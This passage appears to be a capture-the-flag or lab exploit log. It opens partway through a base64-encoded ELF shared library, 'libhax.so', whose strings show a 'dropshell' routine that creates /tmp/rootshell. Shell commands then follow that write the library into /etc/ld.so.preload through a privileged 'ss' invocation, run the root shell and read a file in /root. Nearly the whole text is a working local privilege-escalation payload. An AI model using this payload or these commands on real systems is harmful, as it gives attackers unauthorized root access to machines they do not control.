AAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAA
AAAAUOV0ZAQAAAAUCAAAAAAAABQIAAAAAAAAFAgAAAAAAAAcAAAAAAAAABwAAAAAAAAABAAAAAAA
AABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAA
AFLldGQEAAAA+A0AAAAAAAD4DSAAAAAAAPgNIAAAAAAACAIAAAAAAAAIAgAAAAAAAAEAAAAAAAAA
BAAAABQAAAADAAAAR05VADwPqMMjAB7nClV2VBzY/nxRn8vVAAAAAAMAAAALAAAAAQAAAAYAAACI
wCABAAREDQsAAAAOAAAAEAAAAEJF1eyyXicWu+OSfNhxWBy5jfEO69PvDgAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAwAJAAgGAAAAAAAAAAAAAAAAAACLAAAAEgAAAAAAAAAAAAAAAAAA
AAAAAAAcAAAAIAAAAAAAAAAAAAAAAAAAAAAAAACSAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAABAAAA
IAAAAAAAAAAAAAAAAAAAAAAAAAB/AAAAEgAAAAAAAAAAAAAAAAAAAAAAAACFAAAAEgAAAAAAAAAA
AAAAAAAAAAAAAABhAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAAIAAAAAAAAAAAAAAAAAAAAAAA
AABSAAAAIgAAAAAAAAAAAAAAAAAAAAAAAAChAAAAEAAXAEAQIAAAAAAAAAAAAAAAAAB1AAAAEgAM
AJAHAAAAAAAASwAAAAAAAAC0AAAAEAAYAEgQIAAAAAAAAAAAAAAAAACoAAAAEAAYAEAQIAAAAAAA
AAAAAAAAAAAQAAAAEgAJAAgGAAAAAAAAAAAAAAAAAAAWAAAAEgANANwHAAAAAAAAAAAAAAAAAAAA
X19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF9J
VE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3Nl
cwBkcm9wc2hlbGwAY2hvd24AY2htb2QAdW5saW5rAHB1dHMAbGliYy5zby42AF9lZGF0YQBfX2Jz
c19zdGFydABfZW5kAEdMSUJDXzIuMi41AAAAAAAAAgAAAAIAAAACAAIAAAAAAAIAAQABAAEAAQAB
AAEAAQABAJcAAAAQAAAAAAAAAHUaaQkAAAIAuQAAAAAAAAD4DSAAAAAAAAgAAAAAAAAAYAcAAAAA
AAAIDiAAAAAAAAgAAAAAAAAAIAcAAAAAAAA4ECAAAAAAAAgAAAAAAAAAOBAgAAAAAAAADiAAAAAA
AAEAAAAMAAAAAAAAAAAAAADYDyAAAAAAAAYAAAADAAAAAAAAAAAAAADgDyAAAAAAAAYAAAAFAAAA
AAAAAAAAAADoDyAAAAAAAAYAAAAIAAAAAAAAAAAAAADwDyAAAAAAAAYAAAAJAAAAAAAAAAAAAAD4
DyAAAAAAAAYAAAAKAAAAAAAAAAAAAAAYECAAAAAAAAcAAAACAAAAAAAAAAAAAAAgECAAAAAAAAcA
AAAEAAAAAAAAAAAAAAAoECAAAAAAAAcAAAAGAAAAAAAAAAAAAAAwECAAAAAAAAcAAAAHAAAAAAAA
AAAAAABIg+wISIsFzQkgAEiFwHQF6GMAAABIg8QIwwAAAAAAAAAAAAAAAAAA/zXSCSAA/yXUCSAA
Dx9AAP8l0gkgAGgAAAAA6eD/////JcoJIABoAQAAAOnQ/////yXCCSAAaAIAAADpwP////8lugkg
AGgDAAAA6bD/////JVoJIABmkP8lagkgAGaQSI09qQkgAEiNBakJIABVSCn4SInlSIP4DnYVSIsF
JgkgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPWkJIABIjTViCSAAVUgp/kiJ5UjB
/gNIifBIweg/SAHGSNH+dBhIiwXxCCAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAA
gD0ZCSAAAHUnSIM9xwggAABVSInldAxIiz36CCAA6EX////oSP///13GBfAIIAAB88MPH0AAZi4P
H4QAAAAAAEiNPakGIABIgz8AdQvpXv///2YPH0QAAEiLBWkIIABIhcB06VVIieX/0F3pQP///1VI
ieW6AAAAAL4AAAAASI09QAAAAOi2/v//vu0JAABIjT0vAAAAuAAAAADosP7//0iNPS0AAADodP7/
/0iNPTQAAADoeP7//5BdwwBIg+wISIPECMMvdG1wL3Jvb3RzaGVsbAAvZXRjL2xkLnNvLnByZWxv
YWQAWytdIGRvbmUhAAAAAAEbAzsYAAAAAgAAABz+//80AAAAfP///1wAAAAUAAAAAAAAAAF6UgAB
eBABGwwHCJABAAAkAAAAHAAAAOD9//9QAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAHAAAAEQA
AAAY////SwAAAABBDhCGAkMNBgJGDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAcAAAAAAAAAAAAAAAAA
ACAHAAAAAAAAAAAAAAAAAAABAAAAAAAAAJcAAAAAAAAADAAAAAAAAAAIBgAAAAAAAA0AAAAAAAAA
3AcAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAc
AAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAyAMAAAAAAAAGAAAAAAAAADAC
AAAAAAAACgAAAAAAAADFAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAA
AAAAAABgAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAKgFAAAAAAAABwAAAAAAAADQBAAA
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
cwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjc1OTMAX19kb19nbG9iYWxfZHRvcnNf
YXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5
X2VudHJ5AGxpYmhheC5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9E
WU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1RNQ19FTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJM
RV8AdW5saW5rQEBHTElCQ18yLjIuNQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAcHV0c0BA
R0xJQkNfMi4yLjUAX2VkYXRhAF9maW5pAGRyb3BzaGVsbABfX2dtb25fc3RhcnRfXwBfZW5kAGNo
b3duQEBHTElCQ18yLjIuNQBfX2Jzc19zdGFydABjaG1vZEBAR0xJQkNfMi4yLjUAX0p2X1JlZ2lz
dGVyQ2xhc3NlcwBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplQEBHTElC
Q18yLjIuNQBfaW5pdAAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUuYnVpbGQt
aWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IA
LnJlbGEuZHluAC5yZWxhLnBsdAAuaW5pdAAucGx0LmdvdAAudGV4dAAuZmluaQAucm9kYXRhAC5l
aF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5qY3IALmR5bmFt
aWMALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAcAAAACAAAAAAAAAMgB
AAAAAAAAyAEAAAAAAAAkAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAC4AAAD2//9vAgAA
AAAAAADwAQAAAAAAAPABAAAAAAAAPAAAAAAAAAADAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAA4AAAA
CwAAAAIAAAAAAAAAMAIAAAAAAAAwAgAAAAAAAJgBAAAAAAAABAAAAAIAAAAIAAAAAAAAABgAAAAA
AAAAQAAAAAMAAAACAAAAAAAAAMgDAAAAAAAAyAMAAAAAAADFAAAAAAAAAAAAAAAAAAAAAQAAAAAA
AAAAAAAAAAAAAEgAAAD///9vAgAAAAAAAACOBAAAAAAAAI4EAAAAAAAAIgAAAAAAAAADAAAAAAAA
AAIAAAAAAAAAAgAAAAAAAABVAAAA/v//bwIAAAAAAAAAsAQAAAAAAACwBAAAAAAAACAAAAAAAAAA
BAAAAAEAAAAIAAAAAAAAAAAAAAAAAAAAZAAAAAQAAAACAAAAAAAAANAEAAAAAAAA0AQAAAAAAADY
AAAAAAAAAAMAAAAAAAAACAAAAAAAAAAYAAAAAAAAAG4AAAAEAAAAQgAAAAAAAACoBQAAAAAAAKgF
AAAAAAAAYAAAAAAAAAADAAAAFgAAAAgAAAAAAAAAGAAAAAAAAAB4AAAAAQAAAAYAAAAAAAAACAYA
AAAAAAAIBgAAAAAAABoAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAcwAAAAEAAAAGAAAA
AAAAADAGAAAAAAAAMAYAAAAAAABQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAH4AAAAB
AAAABgAAAAAAAACABgAAAAAAAIAGAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAA
AACHAAAAAQAAAAYAAAAAAAAAkAYAAAAAAACQBgAAAAAAAEsBAAAAAAAAAAAAAAAAAAAQAAAAAAAA
AAAAAAAAAAAAjQAAAAEAAAAGAAAAAAAAANwHAAAAAAAA3AcAAAAAAAAJAAAAAAAAAAAAAAAAAAAA
BAAAAAAAAAAAAAAAAAAAAJMAAAABAAAAAgAAAAAAAADlBwAAAAAAAOUHAAAAAAAALAAAAAAAAAAA
AAAAAAAAAAEAAAAAAAAAAAAAAAAAAACbAAAAAQAAAAIAAAAAAAAAFAgAAAAAAAAUCAAAAAAAABwA
AAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAqQAAAAEAAAACAAAAAAAAADAIAAAAAAAAMAgA
AAAAAABkAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAALMAAAAOAAAAAwAAAAAAAAD4DSAA
AAAAAPgNAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAC/AAAADwAAAAMAAAAA
AAAACA4gAAAAAAAIDgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAywAAAAEA
AAADAAAAAAAAABAOIAAAAAAAEA4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAA
ANAAAAAGAAAAAwAAAAAAAAAYDiAAAAAAABgOAAAAAAAAwAEAAAAAAAAEAAAAAAAAAAgAAAAAAAAA
EAAAAAAAAACCAAAAAQAAAAMAAAAAAAAA2A8gAAAAAADYDwAAAAAAACgAAAAAAAAAAAAAAAAAAAAI
AAAAAAAAAAgAAAAAAAAA2QAAAAEAAAADAAAAAAAAAAAQIAAAAAAAABAAAAAAAAA4AAAAAAAAAAAA
AAAAAAAACAAAAAAAAAAIAAAAAAAAAOIAAAABAAAAAwAAAAAAAAA4ECAAAAAAADgQAAAAAAAACAAA
AAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADoAAAACAAAAAMAAAAAAAAAQBAgAAAAAABAEAAA
AAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA7QAAAAEAAAAwAAAAAAAAAAAAAAAA
AAAAQBAAAAAAAAAyAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAA
AAAAAAAAAAAAABoYAAAAAAAA9gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAgAA
AAAAAAAAAAAAAAAAAAAAAAB4EAAAAAAAAKAFAAAAAAAAHAAAAC0AAAAIAAAAAAAAABgAAAAAAAAA
CQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAGBYAAAAAAAACAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAA
AAAAAAAAAA==' | base64 -d > /tmp/libhax.so

umask 0; ss -D /etc/ld.so.preload

echo '/tmp/libhax.so' > /etc/ld.so.preload

ss

/tmp/rootshell

cat /root/teslab.py